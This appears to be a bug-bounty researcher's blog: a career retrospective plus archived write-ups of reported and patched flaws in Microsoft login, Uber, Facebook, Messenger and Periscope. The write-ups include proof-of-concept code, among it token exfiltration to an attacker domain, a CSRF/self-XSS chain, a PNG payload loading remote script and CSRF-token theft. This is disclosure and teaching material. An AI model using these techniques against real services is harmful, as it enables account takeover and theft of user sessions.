Jack

From Bug Bounty Hunter, to Engineer, and Beyond

2020-04-19T00:00:00-00:00

A couple weeks ago I had my last day on Facebook’s Product Security team. A bittersweet moment, but one which marks a “new chapter” in my life…

I’ve spent just over 4 years working on “the other side” of bug bounties, but it’s also been 4 years since I last blogged, so I wanted to share some of my learnings as to how it was going from hacking on programs to being a security engineer.

I also wanted to share a bit about the journey I took. This is one of the first times I’ve been able to fully reflect (in a kinda long, rambly way), so writing this down was always going to be fun.

“Old-School” Bug Bounty

Without sounding like an old-school, grey-beard hacker (I’m not that old), the landscape really has changed over the ~8 years I’ve been following, and been a part of, the bug bounty community.

“Back in the day” you mainly had a choice of Google, Mozilla, Facebook and PayPal to hack on.

I have fond memories of having a Google alert setup for the words “bug bounty” and “vulnerability disclosure program”, just so that I could find any new program to hack on. There was also Bugcrowd’s infamous “The List”, which I’d consult.

Aside from the limited amount of programs, the tools and techniques used to find bugs on these various sites was wildly different than it is now.

Believe it or not, even the generic, “Paste an XSS payload into a search box”, bug taught in various old tutorials was a valid finding on large programs.

Now, it seems like a lot of the effort put in to finding bugs is in the context of recon - finding assets and end-points which could be pretty green and untouched, increasing the likelihood of finding a high paying bug. This is not necessarily a bad thing, it just means that it’s more important than ever for new-comers to understand WebAppSec techniques and the various recon tooling.

(As a side note, the one program I know of which doesn’t require heavy recon is Facebook, given that it’s a single, huge domain, but I may be bias promoting that particular program…)

First Reward

Anyway, digging through my bug bounty folder, I managed to find the first valid bug I found, which was a CSRF issue within PayPal. This was nearly 8 years ago, but it’s what got me hooked on something (relatively) new at the time - getting paid to find bugs.

I’d sent in a few bugs prior to this, both to PayPal and Facebook, but receiving a “you’ve found an eligible issue” email felt great, despite the finding being pretty low-risk.

Ramping Up

From this point, I knew I needed to do two things:

Learn as much as I could from other, more established researchers to understand their techniques for finding bugs (and the common patterns seen across a program)
Find as many bugs as possible - in hindsight, this is not the best idea (as most programs value quality over quantity), but while I was starting out, it helped me get an idea of validity, and the non-technical aspects of writing reports etc

I also started blogging about my findings. The reason behind this was that I wanted to share some info back to the community that I’d learnt so much from. The other reason (which, IMO, is also a common reason) was that I could leverage these public blog posts into a job offer within the security industry. My background at the time was as a web developer, with no university degree or qualifications.

So from here, I hunted and hunted and hunted. The Yahoo program launched at some point in 2013 and it was so fun. Got some great findings and responses, including the following email I recently found buried in a screenshot folder somewhere.

Once they started paying their findings out via HackerOne, I had the (brief) enjoyment of being “The Top Hacker™”. That too was buried in a screenshot folder.

Around the same time, I started spending more and more time exclusively on the Facebook program.

This is a trend I still see today - as you hack more and more on the same program, you start to get a sense for how the code is written (despite black-boxing it), for when new code is deployed (despite not having access to the CI infra), and for when a mistake may have been made (which is when you turn that “spidey sense” into a valid submission).

Facebook Bug Bounty

The Facebook Bug Bounty program is where I spent the majority of my free time. I never made #1 on their leaderboard (always #2…), but I found some fun bugs and wrote up some interesting posts.

Over time I got to really understand the code behind www, despite never having seen it. The majority of findings are what would be called IDORs, although “bypassing read/write privacy” is a nicer term IMO.

One of many fun screenshots from the Whitehat program

My biggest finding came when I found a way of accessing anyone’s account. This bug was one of the most simple, generic IDORs you could think of (change “profile_id” to someone else’s user ID…), but as with most programs, Facebook pays based on impact not on complexity.

For this bug, and others, they issued me one of the coveted Whitehat Debit Cards. It was fun (read: slightly annoying) having credit card receipts issued to Mr. Bounty.

Understandably, these aren’t used anymore as loading up and sending out thousands of cards per year would be too much, but back then the card itself was worth (to me, in terms of sentimental value) almost as much as the dollar reward.

After a few years of hacking Facebook spun up a ProdSec team in London, which was perfect as I’m based in the UK and didn’t want to leave to go to America.

I got the opportunity to interview for the role of Product Security Engineer, went to the office, did the interview…

Joining Facebook

…and failed. It sucked - joining Facebook was one of the end-goals of me spending so much time hacking on their program. But the reason I’m mentioning this (likely for the first time) is that in terms of a career, going back and having to re-learn some areas that you’re not 100% at isn’t a huge deal. I re-interviewed a while later and then joined in April 2016.

My first day was such a surreal experience. For years I knew the website inside and out, but finally I got a laptop with a check-out of the codebase.

_Spoiler: this post doesn’t contain any NDA-breaching info that will help you find bugs in Facebook. If you really want access to the secret codebase, click here_

I went through the usual bootcamp process that Facebook has, and finally joined the team to start looking for bugs and suggesting improvements to various product teams. This was when I made the (virtual) switch from being a “hunter” to an “engineer”.

“Everything is a P0”

A mindset that I needed to shift out of when joining Facebook was a common one that a lot of researchers have, and that’s that “every finding is a P0, you must fix this now, if you don’t the world will end and society will collapse”.

Now, there could be the odd bug where this is the case, but most of the time when working with a product team you need to understand trade-offs, and come up with solutions that are fair to other areas other than security.

You could be the most l33t researcher, dropping 0-days and absolutely crushing it, but if you can’t articulate risk to a non security engineer, then it’s not going to work out.

Running a Program

Given that my background is in bug bounties, it made sense for me to start working on Facebook’s own program. This too needed a bit of a mindset switch - I’d never triaged a report before, never looked for a root cause (other than in client-side JS), nor sat in on a payout meeting to discuss reward amounts.

But one thing that I could bring to the program was the empathy aspect, given that I’d been on the receiving end of messages and updates from a bug bounty program many times (one thing to note here is that this wasn’t a unique skill - at the time, and even more so now, some of the engineers working on Whitehat had bug bounty experience).

Researcher Engagement

One part of my role at Facebook that I kinda “accidentally” fell in to was giving presentations to researchers about our team, and the Whitehat program. It started off as something that I wasn’t sure I wanted to do - public speaking was a pretty big fear of mine, but I had an awesome manager who helped me overcome this fear.

But, after giving my first external presentation at Nullcon in 2017, I realised this was something I actually really enjoyed. Being able to share some “inside tips” on how people could succeed in the world of bug bounties was rewarding.

These presentations, and focus groups run with researchers, allowed me to understand the pain points and help ensure that researchers were enjoying their experience with the program.

In fact, this will be probably the biggest thing I’ll miss from Whitehat.

Finding Bugs as an Engineer

Whilst I was at Facebook, I did have the chance to find bugs in other programs, but my throughput went down massively. Prior to my start date, I was hunting most days and finding valid bugs in most of those sessions. However, after joining, these were the only months I hacked during (and some of these only ended up with one or two valids):

Given that my day was full up with engineering work, investigating security bugs, etc, I took the decision to ensure that my free time was full of non-work related things (for more info, you should really read NathOnSecurity’s post regarding Bug Bounties and Mental Health).

But for the few times I was hunting, the technical and non-technical skills I was learning and using from helping run the Whitehat program, and from security reviews for teams, helped greatly:

Visualing Code

After reviewing enough code (which believe me, I did…), you start to be able to visualise how a request is being handled. This is usually regardless of the application, or language it’s written in, given that in most cases it’ll be roughly similar.

In terms of bug bounty, this helped a lot. I could look at an end-point, guesstimate what could be happening to the parameters I’d passed in before the HTTP response is sent. Now, given that I’d seen some of the common mistakes Software Engineers had made over the years with handling user-provided data, you can then assume that other engineering teams at other companies could be making similar mistakes, and therefore find bugs that way.

The great thing about this is that you don’t need to join a tech company to learn this skill. Chose a random web app open source project on GitHub and take a look through some of the previous security issues they’ve had. You’ll see real world mistakes, from real world engineers, and can then start to visualise these mistakes when black-box testing a bug bounty property.

Empathy

As I mentioned above, empathy was a key aspect to the 4 years at Facebook, both inside and outside of work.

As a researcher, sending in a submission, you want to have a reply within minutes, a fix within hours, and a $$$$ payout within a day. In an ideal world, that’d be the case, but it doesn’t work like that.

When sending in bugs, you have to understand the huge amount of work that could be going on behind the scenes.

For example, a bug may look like a simple reflected XSS which just needs a variable wrapped in htmlspecialchars for the submission to be resolved (pro-tip: please don’t actually fix XSS this way…), but in-fact it’s a systemic issue in a core library used by a ton of random properties.

In addition, consider the fact that it may have been exploited, so now various other teams have to do IR, or legal teams need to be involved before any replies can be sent to a researcher.

Now, that’s not to excuse the cases where a submission gets lost in the ether, or where the program simply doesn’t care about security issues (I’m purposely leaving out 30/90/120 day disclosure deadlines etc out of this post so that I don’t start a Twitter storm…), but more often than not, for a reputable program, bugs are being fixed but can take a lot longer than it seems.

Reward Amounts

Similar to the empathy aspect of the (potential) long waits for bugs to be fixed, one other area that I got to learn a lot about was reward amounts. The main thing to mention here (and of course there are caveats, but this should be the same for any reputable program) is that programs aren’t trying to cheat you out of a reward. No (again, reputable) program is trying to shave off $500 off of your reward just to “save money”.

One of the ways that can help alleviate these concerns is by publishing reward amounts of various bug types (or even examples of amounts for previous specific findings), but even this can cause drama - if the bounty table says “SSRF - $10,000”, but you only get paid $5,000, then you’ve been cheated, right?

Well, not exactly, since more often than not you need to consider the following:

Do you need to be authenticated to perform the SSRF, and if so, what type of account do you need (one requiring high-privs is going to be harder to exploit)?
Is the host which is vulnerable to SSRF firewalled/in a DMZ?
Can you extract data or only blindly hit end-points with a GET?

And so on….

Programs can help you in these cases where you feel there is a discrepancy by explaining the mitigating factors (or in the case you got more than $10,000, by explaining the compounding factors), but again, (most) programs aren’t lowering the amounts just to “save money”.

The Future

Soon I’ll be starting a new role, one which will likely see me slightly more removed from the bug bounty world, but I’ll keeping a close on eye on the ever changing techniques and novel findings 👀.

In terms of the future of bug bounties, who knows what will be the new norm over the next 4 years, but regardless I’m sure it will benefit both sides of the community.

I may also dump a few of my older findings from over the past few years on this blog…

Thank You

Finally, one thing I neglected over the years was to give specific “thank-you” to all of the various researchers who helped me be who I am today, either directly or indirectly.

The OG 2012/2013 Facebook Hunters (Egor, Nir, Neal, Charlie B) who blogged are a main reason I am where I am today. Then the researchers who were hacking (and still are) at the same time as me, Josip & phwd (too many fun times at DEFCON together…), Anand, Pranav, Dmitry, Youssef, and many others.

Theres also the hunters who made me feel welcome at my first, and all the future DEFCONs - Bitquark, Jhaddix, Nahamsec, and plenty more.

And then finally, the people who still blow my mind when I read their posts - Ngalog for taking over the #1 spot on Uber from me, Shubs for his crazy recon skills, Frans for the sick presentations I’ve seen at our events, and so on…

From Bug Bounty Hunter, to Engineer, and Beyond was originally published by Jack at Jack on April 19, 2020.

Obtaining Login Tokens for an Outlook, Office or Azure Account

2016-04-03T00:00:00-00:00

This is pretty similar to Wes’s awesome OAuth CSRF in Live, except it’s in the main Microsoft authentication system rather than the OAuth approval prompt.

Microsoft, being a huge company, have various services spread across multiple domains (*.outlook.com, *.live.com, and so on).

To handle authentication across these services, requests are made to login.live.com, login.microsoftonline.com, and login.windows.net to get a session for the user.

The flow for outlook.office.com is as follows:

User browses to https://outlook.office.com
User is redirected to https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&id=260563
Provided that the user is logged in, a POST request is made back to the value of wreply, with the form field t containing a login token for the user:

<html>
    <head>
        <noscript>JavaScript required to sign in</noscript>
        <title>Continue</title>
        <script type="text/javascript">
            function OnBack(){}function DoSubmit(){var subt=false;if(!subt){subt=true;document.fmHF.submit();}}
        </script>
    </head>
    <body onload="javascript:DoSubmit();">
        <form name="fmHF" id="fmHF" action="https://outlook.office.com/owa/?wa=wsignin1.0" method="post" target="_self">
            <input type="hidden" name="t" id="t" value="EgABAgMAAAAEgAAAA...">
        </form>
    </body>
</html>

The service then consumes the token, and logs the user in.

Since the services are hosted on completely separate domains, and therefore cookies can’t be used, the token is the only value needed to authenticate as a user. This is similar-ish to how OAuth works.

What this means is that if we can get the above code to POST the value of t to a server we control, we can impersonate the user.

As expected, if we try and change the value of wreply to a non-Microsoft domain, such as example.com, we receive an error, and the request isn’t processed:

Fun with URL-Encoding and URL Parsing

One fun trick to play around with is URL-encoding parameters multiple times. Occasionally this can be used to bypass different filters, which is the root cause of the bug.

In this case, wreply is URL-decoded before the domain is checked. Therefore https%3a%2f%2foutlook.office.com%2f becomes https://outlook.office.com/, which is valid, and the request goes through.

<form name="fmHF" id="fmHF" action="https://outlook.office.com/?wa=wsignin1.0" method="post" target="_self">

What’s interesting is that when passing a value of https%3a%2f%2foutlook.office.com%252f an error is thrown, since https://outlook.office.com%2f isn’t a valid URL.

However, appending @example.com doesn’t generate an error. Instead, it gives us the following, which is a valid URL:

<form name="fmHF" id="fmHF" action="https://outlook.office.com%[email protected]/?wa=wsignin1.0" method="post" target="_self">

If you’re wondering why this is valid, it’s because the syntax of a URL is as follows:

scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]

From this you can tell that the server is doing two checks:

The first is a sanity check on the URL, to ensure it’s valid, which it is, since outlook.office.com%2f is the username part of the URL.
The second is to determine if the domain is allowed. This second check should fail - example.com is not allowed.

It’s clear that server is decoding wreply n times until there are no longer any encoded characters, and then validating the domain. This sort of inconsistency is something I’m quite familiar with.

Now that we can specify an arbitrary URL to POST the token, the rest is trivial. We set the redirect to https%3a%2f%2foutlook.office.com%[email protected]%2fmicrosoft%2f%3f, which results in:

<form name="fmHF" id="fmHF" action="https://outlook.office.com%[email protected]/microsoft/?&wa=wsignin1.0" method="post" target="_self">

This causes the token to be sent to our site:

Then we simply replay the token ourselves:

<form action="https://outlook.office.com/owa/?wa=wsignin1.0" method="post">
    <input name="t" value="EgABAgMAAAAEgAAAAwAB...">
    <input type="submit">
</form>

Which then gives us complete access to the user’s account:

Note: The token is only valid for the service which issued it - an Outlook token can’t be used for Azure, for example. But it’d be simple enough to create multiple hidden iframes, each with the login URL set to a different service, and harvest tokens that way.

This was quite a fun CSRF to find and exploit. Despite CSRF bugs not having the same credibility as other bugs, when discovered in authentication systems their impact can be pretty large.

Fix

The hostname in wreply now must end in %2f, which gets URL-decoded to /.

This ensures that the browser only sends the request to the intended host.

Timeline

Sunday, 24th January 2016 - Issue Reported
Sunday, 24th January 2016 - Issue Confirmed & Triaged
Tuesday, 26th January 2016 - Issue Patched

Obtaining Login Tokens for an Outlook, Office or Azure Account was originally published by Jack at Jack on April 03, 2016.

Uber Bug Bounty: Turning Self-XSS into Good-XSS

2016-03-22T00:00:00-00:00

Now that the Uber bug bounty programme has launched publicly, I can publish some of my favourite submissions, which I’ve been itching to do over the past year. This is part one of maybe two or three posts.

On Uber’s Partners portal, where Drivers can login and update their details, I found a very simple, classic XSS: changing the value of one of the profile fields to <script>alert(document.domain);</script> causes the code to be executed, and an alert box popped.

This took all of two minutes to find after signing up, but now comes the fun bit.

Self-XSS

Being able to execute additional, arbitrary JavaScript under the context of another site is called Cross-Site Scripting (which I’m assuming 99% of my readers know). Normally you would want to do this against other users in order to yank session cookies, submit XHR requests, and so on.

If you can’t do this against another user - for example, the code only executes against your account, then this is known as a self-XSS.

In this case, it would seem that’s what we’ve found. The address section of your profile is only shown to you (the exception may be if an internal Uber tool also displays the address, but that’s another matter), and we can’t update another user’s address to force it to be executed against them.

I’m always hesitant to send in bugs which have potential (an XSS in this site would be cool), so let’s try and find a way of removing the “self” part from the bug.

The OAuth that flow Uber uses is pretty typical:

User visits an Uber site which requires login, e.g. partners.uber.com
User is redirected to the authorisation server, login.uber.com
User enters their credentials
User is redirected back to partners.uber.com with a code, which can then be exchanged for an access token

In case you haven’t spotted from the above screenshot, the OAuth callback, /oauth/callback?code=..., doesn’t use the recommended state parameter. This introduces a CSRF vulnerability in the login function, which may or may-not be considered an important issue.

In addition, there is a CSRF vulnerability in the logout function, which really isn’t considered an issue. Browsing to /logout destroys the user’s partner.uber.com session, and performs a redirect to the same logout function on login.uber.com.

Since our payload is only available inside our account, we want to log the user into our account, which in turn will execute the payload. However, logging them into our account destroys their session, which destroys a lot of the value of the bug (it’s no longer possible to perform actions on their account). So let’s chain these three minor issues (self-XSS and two CSRF’s) together.

For more info on OAuth security, check out @homakov’s awesome guide.

Chaining Minor Bugs

Our plan has three parts to it:

First, log the user out of their partner.uber.com session, but not their login.uber.com session. This ensures that we can log them back into their account
Second, log the user into our account, so that our payload will be executed
Finally, log them back into their account, whilst our code is still running, so that we can access their details

Step 1. Logging Out of Only One Domain

We first want to issue a request to https://partners.uber.com/logout/, so that we can then log them into our account. The problem is that issuing a requets to this end-point results in a 302 redirect to https://login.uber.com/logout/, which destroys the session. We can’t intercept each redirect and drop the request, since the browser follows these implicitly.

However, one trick we can do is to use Content Security Policy to define which sources are allowed to be loaded (I hope you can see the irony in using a feature designed to help mitigate XSS in this context).

We’ll set our policy to only allow requests to partners.uber.com, which will block https://login.uber.com/logout/.

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/">

This works, as indicated by the CSP violation error message:

Step 2. Logging Into Our Account

This one is relatively simple. We issue a request to https://partners.uber.com/login/ to initiate a login (this is needed else the application won’t accept the callback). Using the CSP trick we prevent the flow being completed, then we feed in our own code (which can be obtained by logging into our own account), which logs them in to our account.

Since a CSP violation triggers the onerror event handler, this will be used to jump to the next step.

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //Initiate login so that we can redirect them
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

Step 3. Switching Back to Their Account

This part is the code that will be contained as the XSS payload, stored in our account.

As soon as this payload is executed, we can switch back to their account. This must be in an iframe - we need to be able to continue running our code.

//Create the iframe to log the user out of our account and back into theirs
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

The contents of the iframe uses the CSP trick again:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

The final piece is to create another iframe, so we can grab some of their data.

//Wait a few seconds, then load the profile page, which is now *their* profile
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //Extract their email as PoC
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

Since our final iframe is loaded from the same origin as the Profile page containing our JS, and X-Frame-Options is set to sameorigin not deny, we can access the content inside of it (using contentWindow)

Putting It All Together

After combining all the steps, we have the following attack flow:

Add the payload from step 3 to our profile
Login to our account, but cancel the callback and make note of the unused code parameter
Get the user to visit the file we created from step 2 - this is similar to how you would execute a reflected-XSS against someone
The user will then be logged out, and logged into our account
The payload from step 3 will be executed
In a hidden iframe, they’ll be logged out of our account
In another hidden iframe, they’ll be logged into their account
We now have an iframe, in the same origin containing the user’s session

This was a fun bug, and proves that it’s worth persevering to show a bug can have a higher impact than originally thought.

Uber Bug Bounty: Turning Self-XSS into Good-XSS was originally published by Jack at Jack on March 22, 2016.

An XSS on Facebook via PNGs & Wonky Content Types

2016-01-27T00:00:00-00:00

Content uploaded to Facebook is stored on their CDN, which is served via various domains (most of which are sub-domains of either akamaihd.net or fbcdn.net).

The captioning feature of Videos also stores the .srt files on the CDN, and I noticed that right-angle brackets were un-encoded.

https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xaf1/….srt

I was trying to think of ways to get the file interpreted as HTML. Maybe MIME sniffing (since there’s no X-Content-Type-Option header)?

It’s actually a bit easier than that. We can just change the extension to .html (which probably shouldn’t be possible…).

https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xaf1/t39.2093-6/….html

Unfortunately left angles are stripped out (which I later found out was due to @phwd’s very much related finding), so there’s not much we can do here. Instead, I looked for other files which could also be loaded as text/html.

A lot of the photos/videos on Facebook now seem to contain a hash in the URL (parameters oh and __gda__), which causes an error to be thrown if we modify the file extension.

Luckily, advert images don’t contain these parameters.

All that we have to do now is find a way to embed some HTML into an image. The trouble is that Exif data is stripped out of JPEGs, and iTXt chunks are stripped out of PNGs.

If we try to blindly insert a string into an image and upload it we receive an error.

PNG IDAT Chunks

I started searching for ideas and came across this great blog post: “Encoding Web Shells in PNG IDAT chunks”. This section of this bug is made possible due that post, so props to the author.

The post describes encoding data into the IDAT chunk, which ensures it’ll stay there even after the modifications Facebook’s image uploader makes.

The author kindly provides a proof-of-concept image, which worked perfectly (the PHP shell obviously won’t execute, but it demonstrates that the data survived uploading).

Now, I could have submitted the bug there and then - we’ve got proof that images can be served with a content type of text/html, and angle brackets aren’t encoded (which means we can certainly inject HTML).

But that’s boring, and everyone knows an XSS isn’t an XSS without an alert box.

The author also provides an XSS ready PNG, which I could just upload and be done. But since it references a remote JS file, I wasn’t too keen on the bug showing up in a referer log. Plus I wanted to try myself to create one of these images.

As mentioned in post, the first step is to craft a string, that when compressed using DEFLATE, produces the desired output. Which in this case is:

<SCRIPT src=//FNT.PE><script>

Rather than trying to create this by hand, I used a brute-force solution (I’m sure there are much better ways, but I wanted to whip up a script and leave it running):

Convert the desired output to hex - 3c534352495054205352433d2f2f464e542e50453e3c2f7363726970743e
Prepend 0x00 -> 0xff to the string (one to two times)
Append 0x00 -> 0xff to the string (one to two times)
Attempt to uncompress the string until an error isn’t thrown
Check that the result contains our expected string

The script took a while to run, but it produced the following output:

7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f

Compressing the above confirms that we get our string back:

fin1te@mbp /tmp » php -r "echo gzdeflate(hex2bin('7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f')) . PHP_EOL;"
??<SCRIPT SRC=//FNT.PE></script>

Combining the result, with the PHP code for reversing PNG filters and generating the image, gives us the following:

Which, when dumped, shows our payload:

fin1te@mbp /tmp » hexdump -C xss-fnt-pe-png.png
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  00 65 49 44 41 54 48 89  |...+.....eIDATH.|
00000040  63 ac ff 3c 53 43 52 49  50 54 20 53 52 43 3d 2f  |c..<SCRIPT SRC=/|
00000050  2f 46 4e 54 2e 50 45 3e  3c 2f 73 63 72 69 70 74  |/FNT.PE></script|
00000060  3e c3 ea c0 46 8d 17 f3  af de 3d 73 d3 fd 15 cb  |>...F.....=s....|
00000070  43 2f 0f b5 ab a7 af ca  7e 7d 2d ea e2 90 22 ae  |C/......~}-...".|
00000080  73 85 45 60 7a 90 d1 8c  3f 0c a3 60 14 8c 82 51  |s.E`z...?..`...Q|
00000090  30 0a 46 c1 28 18 05 a3  60 14 8c 82 61 00 00 78  |0.F.(...`...a..x|
000000a0  32 1c 02 78 65 1f 48 00  00 00 00 49 45 4e 44 ae  |2..xe.H....IEND.|
000000b0  42 60 82                                          |B`.|

We can then upload it to our advertiser library, and browse to it (with an extension of .html).

Bypassing Link Shim

What can you do with an XSS on a CDN domain? Not a lot.

All I could come up with is a LinkShim bypass. LinkShim is script/tool which all external links on Facebook are forced through. This then checks for malicious content.

CDN URL’s however aren’t Link Shim’d, so we can use this as a bypass.

Moving from the Akamai CDN hostname to *.facebook.com

Redirects are pretty boring. So I thought I’d check to see if any *.facebook.com DNS entries were pointing to the CDN.

I found photo.facebook.com (I forgot to screenshot the output of dig before the patch, so here’s an entry from Google’s cache):

Browsing to this host with our image as the path loads a JavaScript file from fnt.pe, which then displays an alert box with the hostname.

Any session cookies are marked as HTTPOnly, and we can’t make requests to www.facebook.com. What do we do other than popping an alert box?

Enter `document.domain`

It’s possible for two pages from a different origin, but sharing the same parent domain, to interact with each other, providing they both set the document.domain property to the parent domain.

We can easily do this for our page, since we can run arbitrary JavaScript. But we also need to find a page on www.facebook.com which does the same, and doesn’t have an X-Frame-Options header set to DENY or SAMEORIGIN (we’re still cross-origin at this point).

This wasn’t too difficult to find - Facebook has various plugins which are meant to be placed inside an <iframe>.

We can use the Page Plugin. It sets the document.domain property, and also contains fb_dtsg (the CSRF token Facebook uses).

What we now need to do is load the plugin inside an iframe, wait for the onload event to fire, and extract the token from the content.

document.domain = 'facebook.com';

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'visibility:hidden;width:0px;height:0px;');
i.setAttribute('src', 'https://www.facebook.com/v2.4/plugins/page.php?adapt_container_width=true&app_id=113869198637480&channel=https%3A%2F%2Fs-static.ak.facebook.com%2Fconnect%2Fxd_arbiter%2FX9pYjJn4xhW.js%3Fversion%3D41%23cb%3Df365065abc%26domain%3Ddevelopers.facebook.com%26origin%3Dhttps%253A%252F%252Fdevelopers.facebook.com%252Ff366e4bcac%26relation%3Dparent.parent&container_width=588&hide_cover=false&href=https%3A%2F%2Fwww.facebook.com%2Ffacebook&locale=en_GB&sdk=joey&show_facepile=true&show_posts=true&small_header=false');

i.onload = function(){
    alert(document.domain + "\nfb_dtsg: " + i.contentWindow.document.getElementsByName('fb_dtsg')[0].value);
};

document.body.appendChild(i);

Notice how the alert box now shows facebook.com, not photos.facebook.com.

We now have access to the user’s CSRF token, which means we can make arbitrary requests on their behalf (such as posting a status, etc).

It’s also possible to issue XHR requests via the iframe to extract data from www.facebook.com (rather than blindly post data with the token).

So it turns out an XSS on the CDN can do pretty much everything that one on the main site can.

Fix

Facebook quickly hot-fixed the issue by removing the forward DNS entry for photo.facebook.com.

Whilst the content type issue still exists, it’s a lot less severe since the files are hosted on a sandboxed domain.

Bonus ASCII Art

One easter-egg I found was that if you append .txt or .html to the URL (rather than replace the file extension), you get a cool ASCII art version of the image. This also works for images on Instagram (since they share the same CDN).

Try it out yourself:

An XSS on Facebook via PNGs & Wonky Content Types was originally published by Jack at Jack on January 27, 2016.

Messenger.com Site-Wide CSRF

2015-07-26T00:00:00-00:00

I originally wasn’t going to publish this, but @phwd wanted to hear about some of my recent bugs so this post is dedicated to him.

This issue was also found by @mazen160, who blogged about it back in June.

When Messenger.com launched back in April, I quickly had a look for any low-hanging fruit.

One of the first things to do is check end-points for Cross-Site Request Forgery issues. This is whereby an attacker can abuse the fact that cookies are implicity sent with a request (regardless of where the request is made from), and perform actions on another users behalf, such as sending a message or updating a status.

There are different ways of mitigating this (with varying results), but usually this is achieved by sending a non-guessable token with each request, and comparing it to a value stored server-side/decrypting it and verifying the contents.

The way I normally check for these is as follows:

Perform the request without modifying the parameters, so we can see what the expected result is
Remove the CSRF token completely (in this case, the fb_dtsg parameter)
Modify one of the characters in the token (but keep the length the same)
Remove the value of the token (but leave the parameter in place)
Convert to a GET request

If any of the above steps produce the same result as #1 then we know that the end-point is likely to be vulnerable (there are some instances where you might get a successful response, but in fact no data has been modified and therefore the token hasn’t been checked).

Normally, on Faceboook, the response is one of two, depending on if the request is an AJAX request or not (indicated by the __a parameter).

Either a redirect to /common/invalid_request.php:

Or an error message:

I submitted the following request to change the sound_enabled setting, without fb_dtsg:

POST /settings/edit/ HTTP/1.1
Host: www.messenger.com
Content-Type: application/x-www-form-urlencoded

settings[sound_enabled]=false&__a=1

Which surprisingly gave me the following response:

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 3559

for (;;);{"__ar":1,"payload":[],"jsmods":{"instances":[["m_a_0",["MarketingLogger"],[null,{"is_mobile":false,"controller_name":"XMessengerDotComSettingsEditController"
...

I tried another end-point, this time to remove a user from a group thread.

POST /chat/remove_participants/?uid=100...&tid=153... HTTP/1.1
Host: www.messenger.com
Content-Type: application/x-www-form-urlencoded

__a=1

Which also worked:

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 136

for (;;);{"__ar":1,"payload":null,"domops":[["replace","^.fbProfileBrowserListItem",true,null]],"bootloadable":{},"ixData":{},"lid":"0"}

After trying one more I realised that the check was missing on every request.

Fix

Simple and quick fix - tokens are now properly checked on every request.

Messenger.com Site-Wide CSRF was originally published by Jack at Jack on July 26, 2015.

Bypassing Google Authentication on Periscope's Administration Panel

2015-07-20T00:00:00-00:00

I haven’t blogged for quite some time, so I thought it was worth re-launching with an interesting, albeit simple, high-impact bug.

Periscope is an iOS/Android app, owned by Twitter, used for live streaming. To manage the millions of users, a web-based administation panel is used, accessible at admin.periscope.tv.

When you browse to the site, all requests are redirected to /auth?redirect=/ (since we don’t have a valid session), which in turn redirects to Google for authentication.

The redirected URL, shown below, contains various parameters, but the most interesting one is hd. This is used to restrict logins to a specific domain, in this case bountyapp.co.

https://accounts.google.com/o/oauth2/auth?access_type=
&approval_prompt=
&client_id=57569323683-c0hvkac6m15h3u3l53u89vpquvjiu8sb.apps.googleusercontent.com
&hd=bountyapp.co
&redirect_uri=https%3A%2F%2Fadmin.periscope.tv%2Fauth%2Fcallback
&response_type=code
&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile
&state=%2FStreams

If we try and login with an account such as [email protected], we’re redirected back to the account selection page, and if we try again we get redirected back to the same place, and so on.

However, we can simply remove this parameter. There’s no signature in the URL to prevent us from making modifications, and as indicated in the documentation, the onus is on the application to validate the returned token.

This gives us the following login URL (you may also notice I’ve removed the Google+ scope, this is purely because my test account isn’t signed up for it):

https://accounts.google.com/o/oauth2/auth?access_type=
&approval_prompt=
&client_id=57569323683-c0hvkac6m15h3u3l53u89vpquvjiu8sb.apps.googleusercontent.com
&redirect_uri=https%3A%2F%2Fadmin.periscope.tv%2Fauth%2Fcallback
&response_type=code
&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile
&state=%2FStreams

Browsing to this new URL prompts us to authorise the application.

